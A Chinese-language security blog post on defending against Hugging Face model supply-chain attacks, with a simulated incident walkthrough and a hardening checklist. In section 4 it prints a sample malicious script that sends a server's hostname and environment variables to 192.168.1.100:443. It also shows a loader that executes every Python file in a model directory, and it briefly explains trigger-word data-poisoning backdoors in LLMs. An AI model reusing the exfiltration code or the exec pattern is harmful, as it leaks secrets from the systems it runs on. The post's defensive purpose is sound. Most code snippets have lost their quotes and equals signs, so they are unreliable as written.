公司动态
Hugging Face 模型供应链安全:从入侵复盘到防护清单
之前我在整理 AI 模型交付流程时突然注意到一条消息OpenAI 首次公开了一份关于入侵 Hugging Face 的完整报告。这里的“入侵”不是普通漏洞演示而是围绕 AI 模型供应链展开的一次深度攻击复盘。刚开始我以为只是常规的安全公告但仔细看下来才发现这次事件暴露的问题远比想象中严重公共模型仓库、数据集、CI/CD 流水线、甚至开发者本机环境都可能成为攻击链上的一环。本文就结合这起事件梳理 Hugging Face 平台面临的安全风险、攻击者常用的入侵思路以及我们作为开发者在日常使用 Hugging Face 时该如何自查、如何防护。这篇文章既适合正在使用 Hugging Face 下载模型、微调模型、部署推理服务的开发者也适合负责 AI 平台安全的运维和安全工程师。读完你不仅能理解这次报告背后的技术逻辑还能掌握一套可落地的模型供应链安全排查与加固方案。1. 背景与核心概念1.1 什么是 Hugging Face为什么它会被盯上Hugging Face 是目前全球最大的机器学习模型托管与协作平台之一。开发者可以在上面搜索、下载、上传模型权重也可以直接运行在线推理 Demo甚至可以把数据集、训练代码、Space 应用全部放到平台上。对于很多团队来说Hugging Face 已经成了 AI 开发的基础设施就像 GitHub 之于代码一样。正因为它的角色越来越重要Hugging Face 也成了攻击者眼中的高价值目标。只要攻击者能够在 Hugging Face 的模型仓库、数据集或 Space 应用中投毒影响的将不是某一个独立项目而是所有下载了这个模型、复用了这份数据的下游团队。这次 OpenAI 公开的报告本质上是一次“入侵视角”的安全研究复盘。它展示了一个攻击者如何从外部信息收集开始逐步渗透到 Hugging Face 生态的敏感区域并最终控制模型分发链路的过程。虽然我们不能把报告中的具体攻击步骤用在真实环境里但完全可以从中提炼出防御侧的检测思路和加固方法。1.2 AI 模型供应链与传统软件供应链的差异传统软件供应链大家比较熟悉比如依赖包被投毒、npm 包被恶意篡改、Docker 镜像被植入后门。AI 模型供应链的复杂度更高因为它涉及的物料类型非常丰富模型权重文件可能是.bin、.safetensors、.pth、.gguf等格式。分词器和配置文件如tokenizer.json、config.json这些看起来不起眼但同样可以被恶意篡改。数据集训练数据、评测数据可能包含恶意样本或后门触发样本。推理代码模型卡片里附带的model.py、pipeline.py等。环境依赖requirements.txt、environment.yml中声明的 Python 包。Space 应用部署在 Hugging Face 上的 Gradio 等 Web 应用。攻击者不一定需要直接修改模型权重只要在这些辅助文件中植入恶意代码就可能在某些情况下触发。比如safetensors相比pickle更安全但并不是所有开发者都会使用safetensors。很多老模型或者社区模型依然直接使用pickle格式保存权重而pickle在执行时会反序列化任意对象这是非常典型的攻击入口。1.3 公开入侵报告的意义OpenAI 公开这份报告的出发点并不是教大家如何攻击 Hugging Face而是希望通过“攻击者视角”来展示 AI 供应链中哪些环节最脆弱。安全领域有一句话叫“假设自己已经失陷”当我们以攻击者的身份去审视自己的基础设施时往往能发现平时不容易注意到的问题。对于普通开发者来说看这份报告最重要的收获不是记住几个攻击手法而是理解三件事Hugging Face 上的模型和数据不能“无条件信任”。模型训练、微调、部署的每一个环节都可能成为攻击面。即使你只用 Hugging Face 下载模型也需要建立基本的文件校验和运行隔离意识。2. 攻击面拆解入侵会从哪些环节发生2.1 模型文件的“隐形代码”风险模型文件看似只是数据但有些格式本身就是代码。以 Python 生态中最常见的pickle为例pickle.load()在反序列化时可以执行任意 Python 代码。一个恶意构造的.pth文件可以在加载时执行系统命令、修改环境变量、读取本地文件甚至反弹 Shell。很多开发者习惯在训练脚本里这样加载模型import torch model torch.load(model.pth)这段代码在本地运行时如果model.pth来自不可信的下载源那么恶意代码就会在你完全没有感知的情况下执行。torch.load在 PyTorch 官方文档里明确警告过风险推荐使用weights_onlyTrue参数或者使用safetensors格式。但现实里很多教程、开源代码仍然使用最原始的加载方式。2.2 数据集与分词器的投毒数据集投毒Data Poisoning比模型文件更隐蔽。模型文件恶意执行会被杀软或运行环境拦截但数据集里的样本看起来只是正常文本或图片很难在下载阶段发现异常。攻击者在数据集中植入后门样本比如在特定文本中隐藏触发词。当受害者使用这份数据集微调模型时模型会学习到后门模式。模型上线后攻击者只要发送包含触发词的输入就能让模型产生预设的错误输出。这类攻击在 LLM 时代尤其值得关注因为它影响的是模型本身的行为而不是服务器上执行的代码。分词器文件也容易被忽略。某些分词器实现支持特殊 token 或自定义逻辑恶意分词器文件可能在加载时触发异常操作。2.3 Space 应用与在线 DemoHugging Face 的 Space 功能允许用户直接部署 Gradio 或 Streamlit 应用。很多开发者会快速 clone 一个社区的 Space 项目来修改使用如果里面藏有恶意代码用户打开浏览器访问时就可能中招比如窃取 API Key、执行恶意脚本。更危险的是Space 应用有时候会和用户自己的环境打通比如通过 OAuth 授权、读取 Secrets、访问私有仓库。一旦 Space 应用本身被入侵攻击者可能借机拿到更高权限。2.4 凭据与 Token 泄露开发者在 Hugging Face 上进行模型下载、上传、推送时通常会使用 Access Token。如果这个 Token 被硬编码在代码里或者保存在.env文件中并随项目发布攻击者扫描到之后就能直接接管你的仓库。huggingface_hub库默认会把 Token 缓存到本地~/.cache/huggingface/token目录。如果开发者的机器被入侵攻击者也能从这个路径直接读取 Token。2.5 依赖链与 CI/CD 投毒Hugging Face 上的项目通常都有requirements.txt用于指定依赖包。攻击者可以构造一个“看起来没问题”的项目但实际上requirements.txt中引用了恶意包名称或者使用版本范围直接指向攻击者控制的私有源。在 CI/CD 场景中构建流水线会自动执行这些依赖安装命令。如果流水线没有做依赖锁定和来源校验攻击者利用供应链依赖投毒就可能让恶意代码进入最终产物。3. 入侵检测与风险识别从攻击视角转向防御视角3.1 建立信任基线防御的第一步是给所有外部资源建立“不可信”的心理预期。你需要明确一个问题一个从 Hugging Face 下载的模型文件到底值不值得直接加载信任基线的建立分几个层面文件来源是否来自官方 org 账号而不是个人同名账号。文件校验是否提供了 SHA256 校验值是否与官方一致。文件格式是否使用safetensors而不是pickle。项目活跃度项目的 star、下载量、Issue 反馈是否正常。作者历史作者是否长期维护是否发布过其他可信项目。这些信息可以帮助我们判断风险但不能完全替代隔离执行。3.2 日志审计与行为监控不论是对本地开发机还是服务器监控模型加载行为都非常重要。最简单的做法是在加载模型前开启系统监控或文件监控记录可疑的网络连接和文件访问行为。以 Linux 服务器为例可以使用auditd监控重要目录sudo auditctl -w /opt/models/ -p wa -k model_models sudo auditctl -w /tmp/ -p wa -k tmp_write这行命令的含义是监控/opt/models/目录的写入和属性修改事件并记录到审计日志。执行ausearch -k model_models可以查看相关日志。对于模型加载时的网络连接可以使用lsof查看进程打开的端口和连接lsof -p $(pgrep -f python) | grep -E (TCP|UDP)正常情况下加载模型并运行推理时进程只会连接本地服务或必要的 API 端点。如果发现进程在加载模型后立刻向未知 IP 发起连接就要高度警惕。3.3 模型文件的静态检查在加载模型之前可以使用工具检查文件内容。safetensors格式本身比较安全因为它只保存张量数据不包含可执行代码。对于一个.safetensors文件我们可以通过 Python 代码检查其内部键值from safetensors import safe_open fname model.safetensors with safe_open(fname, frameworkpt, devicecpu) as f: keys f.keys() for k in keys: print(k, f.get_slice(k).get_shape())通过这段代码你可以看到模型文件里到底包含了哪些张量。如果发现一些异常命名的键比如带exec、eval、shell等关键词的键大概率存在问题。对于pickle格式的模型最好的策略是“不加载”。如果必须加载应该放在隔离环境里比如 Docker 容器中并且不要挂载宿主机敏感目录。3.4 依赖与第三方库的扫描在安装 Hugging Face 项目的依赖之前建议先对requirements.txt做一次检查。可以使用pip-audit或safety扫描已知漏洞pip install pip-audit pip-audit -r requirements.txt也可以使用pipreqs反向生成当前项目实际依赖避免安装无关包pip install pipreqs pipreqs . --mode gt这里需要注意的是requirements.txt中如果出现类似torch1.13.1cu117这样的版本安装时可能会从外部源下载。为了避免依赖被替换可以锁定官方源pip install -r requirements.txt -i https://pypi.org/simple3.5 文件 Hash 校验从 Hugging Face 下载模型后建议与官方公布的 SHA256 做对比。huggingface_hub在下载时会有缓存和校验但如果你是通过浏览器直接下载仍需手动校验。以 Linux 为例sha256sum model.safetensors在 macOS 上shasum -a 256 model.safetensors将输出结果与模型卡片中的 Hash 对比如果不一致就不要加载。4. 完整实战案例一次模拟供应链入侵事件的安全复盘下面我们通过一个完整的模拟案例演示从发现异常到排查修复的全过程。这个案例并不针对真实漏洞而是将 OpenAI 公开报告中提到的常见攻击链抽象成一次可操作的演练。4.1 案例背景假设团队从 Hugging Face 下载了一个微调后的 LLM 模型权重部署到内部测试环境后监控系统报告测试服务器出现了异常外连。安全工程师开始介入排查。这个案例的目标是定位异常进程和异常外连。检查模型文件是否包含恶意代码。清理恶意文件并更新检测规则。4.2 环境准备为了复现和验证过程准备一个隔离环境。操作系统Ubuntu 22.04 Python3.10 依赖safetensors、huggingface_hub、psutil、requests创建虚拟环境python3 -m venv model_security_env source model_security_env/bin/activate pip install safetensors huggingface_hub psutil requests4.3 第一步发现异常进程安全工程师登录测试服务器后首先查看网络连接netstat -antp | grep ESTABLISHED输出中发现一个 Python 进程正与192.168.*.*:443保持连接但检查服务器出站白名单时并没有这个地址。接着使用ps查看该进程的信息ps -ef | grep python3发现该 Python 进程的命令行参数是python3 run_model.py --model ./models/test_modelrun_model.py是团队内部脚本但test_model目录之前并没有出现在部署记录中。4.4 第二步检查模型目录进入模型目录查看文件结构ls -la models/test_model/输出如下total 4200 drwxr-xr-x 2 root root 4096 ... -rw-r--r-- 1 root root 4301234 model.safetensors -rw-r--r-- 1 root root 126 config.json -rw-r--r-- 1 root root 167 ran.pyran.py文件立刻引起了注意常规模型目录不应该包含 Python 脚本。查看文件内容cat models/test_model/ran.py脚本内容如下import requests import socket import os host 192.168.1.100 port 443 try: s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(bhostname: socket.gethostname().encode()) data os.popen(env).read() s.send(data.encode()) s.close() except Exception: pass这是一个典型的反向信息收集脚本。它能读取服务器的环境变量而环境变量里往往包含密钥、Token 等敏感信息然后发送到攻击者控制的服务器。继续检查项目的启动入口发现run_model.py中存在可疑逻辑# run_model.py import os from transformers import AutoModel model_path ./models/test_model # 加载前执行同目录下的所有 py 文件 for f in os.listdir(model_path): if f.endswith(.py): exec(open(os.path.join(model_path, f)).read()) model AutoModel.from_pretrained(model_path)问题很明显脚本遍历模型目录并执行所有.py文件导致ran.py被执行。4.5 第三步检查模型张量使用safetensors检查model.safetensors内部是否有异常键值from safetensors import safe_open filepath models/test_model/model.safetensors with safe_open(filepath, frameworkpt, devicecpu) as f: for key in f.keys(): if exec in key or shell in key or system in key: print(Suspicious key:, key)输出Suspicious key: system_prompt_exec_shell进一步确认这个模型文件并不是一个纯模型而是被恶意处理过的。4.6 第四步清理与隔离发现恶意文件后应该立即做以下处理断开服务器外网连接保留内存和进程现场。对恶意文件做哈希备份sha256sum models/test_model/ran.py malicious_ran.py.sha256 sha256sum models/test_model/model.safetensors malicious_model.sha256结束恶意进程kill -9 $(pgrep -f run_model.py)删除恶意目录重新从可信源拉取模型。更新环境变量和 Tokenunset HF_TOKEN并到 Hugging Face 后台取消旧的 Access Token 权限。4.7 第五步更新检测规则将这次异常事件的特征写入监控规则例如模型目录中不允许包含.py文件。模型加载进程不允许连接到未授权的 IP。环境变量访问需要审计尤其是env命令的调用记录。可以写一个简单的 Python 检测脚本定期扫描模型目录import os import sys model_root /opt/models def scan(path): for root, dirs, files in os.walk(path): for f in files: if f.endswith(.py): print(f[alert] python file in model dir: {os.path.join(root, f)}) if __name__ __main__: scan(model_root)5. 常见问题与排查思路问题现象常见原因解决思路加载模型后服务器出现未知外连模型文件或同目录脚本被执行植入恶意逻辑检查进程网络连接、定位并隔离模型文件、结束异常进程torch.load加载模型时提示异常代码执行模型文件使用pickle格式可能包含恶意对象改用weights_onlyTrue或safetensors不加载未知picklepip install安装依赖后pip警告 hash 不匹配依赖源被替换或存在中间人攻击固定包版本和 Hash使用官方源核对校验值从 Hugging Face 下载的模型无法复现论文结果模型被篡改或版本不一致对比 SHA256核对模型配置与仓库提交记录显式设置的HF_TOKEN未生效环境变量未刷新或缓存 token 优先清空~/.cache/huggingface/token重新huggingface-cli login5.1 加载模型时如何避免pickle风险PyTorch 从 2.0 开始支持weights_onlyTrue参数。使用该参数加载模型时只会加载张量数据和基础类型对象不会执行任意 Python 代码。import torch state_dict torch.load(model.pth, weights_onlyTrue, map_locationcpu) model.load_state_dict(state_dict)如果模型文件是完整模型对象调用torch.save(model, ...)保存的weights_onlyTrue会失败。这时候建议要求模型作者提供safetensors版本或者改为保存state_dict。5.2 如何判断模型是否可以信任判断模型可信度没有绝对标准但可以参考以下指标官方账号认证。Hugging Face 上企业或组织账号通常有认证标识。模型卡内容是否完整是否有详细训练数据、预处理方法、评测结果说明。下载量、社区讨论、Issue 反馈是否活跃。是否提供safetensors文件。是否提供官方校验值或签名。如果以上信息都缺失建议先在小规模隔离环境验证。5.3 为什么要使用safetensorssafetensors是 Hugging Face 与社区共同推动的模型存储格式设计目标就是从格式层面避免任意代码执行。它使用 JSON header 描述张量信息数据区只保存原始二进制张量数据不具备反序列化对象的逻辑。从safetensors加载模型通常只需要from safetensors.torch import load_file state_dict load_file(model.safetensors)简单的哈希检查配合safetensors格式可以解决大部分模型加载安全问题。6. 最佳实践与工程建议6.1 权限最小化Token 和账号管理Hugging Face 的 Token 应该遵循最小权限原则。例如如果只是下载公开模型使用read权限的 Token 即可不要使用write权限。如果 CI/CD 需要推送模型也应该使用专用的机器人账号 Token而不是个人 Token。Token 应该存放在密钥管理系统中比如 Vault、环境变量、CI 平台 Secret不应该硬编码在代码仓库中。检查本地缓存 Tokencat ~/.cache/huggingface/token如果该文件中存在 Token请确认它不会随开发环境备份上传到公共仓库。6.2 模型下载与部署隔离生产环境不建议直接在服务上执行huggingface-cli download。推荐做法是使用专门的离线下载机通过白名单网络下载模型再通过内网镜像分发。Hugging Face 官方提供了镜像服务hf-mirror.com但使用镜像时也需要核对模型文件的哈希值。在生产服务器上使用 Docker 容器运行推理服务并限制容器网络权限docker run --network none --read-only --tmpfs /tmp my_model_server:latest--network none让容器无法访问外网即使模型里有恶意代码也无法把数据外传。6.3 模型仓库治理大型团队应该建立“模型准入清单”。所有模型必须经过安全扫描、性能评测、许可证审核后才能进入内部仓库。内部可以搭建模型代理服务统一缓存外部模型记录每个模型的下载记录和访问者。模型安全扫描可以分以下几步检查文件格式是否安全。检查依赖库版本是否存在已知漏洞。在沙箱中运行模型推理监控进程行为。检查模型输出是否符合预期比如恶意触发词的测试。6.4 日志与告警日志是安全事件响应最重要的依据。建议至少记录以下日志模型下载记录时间、来源、文件哈希。模型加载记录进程、用户、模型路径。容器创建记录镜像、启动参数、网络模式。网络连接记录源 IP、目标 IP、端口、进程。使用auditd等工具时要避免日志过大导致性能问题。可以只监控关键目录和关键命令。6.5 生产环境的安全基线生产环境的 AI 推理服务建议采用以下基线不直接使用root用户运行服务。容器文件系统只读。禁止容器出网。模型文件与代码文件分离。模型加载服务单独部署不与应用主服务混布。对推理服务进行周期性的安全巡检。7. 总结与学习路线通过这次 OpenAI 公开的入侵报告我们能看到 AI 模型供应链安全已经从“未来风险”变成了“现实问题”。Hugging Face 作为全球最大的模型托管平台其安全风险直接关系到下游所有开发者。作为开发者我们可以做的不是拒绝使用这些平台而是建立安全意识和防护体系。本文从攻击面、检测方法、实战案例、常见问题、最佳实践几个方面梳理了完整的防御思路。建议你在实际项目中先从一个小步骤开始落地比如把默认的torch.load换成safetensors把生产环境的模型下载流程改成离线分发把 Token 权限降为只读。这些改动都不复杂但能显著降低风险。下一步可以继续学习深入了解safetensors的实现原理与常见用法。学习 Docker 容器安全隔离技术。研究 SBOM软件物料清单在模型供应链中的应用。关注 OWASP 关于机器学习安全的 Top 10 风险清单。安全防护不是一次性工作。每次从外部引入模型、数据集或依赖时都值得花几分钟确认来源、校验哈希、检查格式。如果本文对你有帮助可以先收藏备用后续在模型上线流程中按这个思路逐步完善自己的安全清单。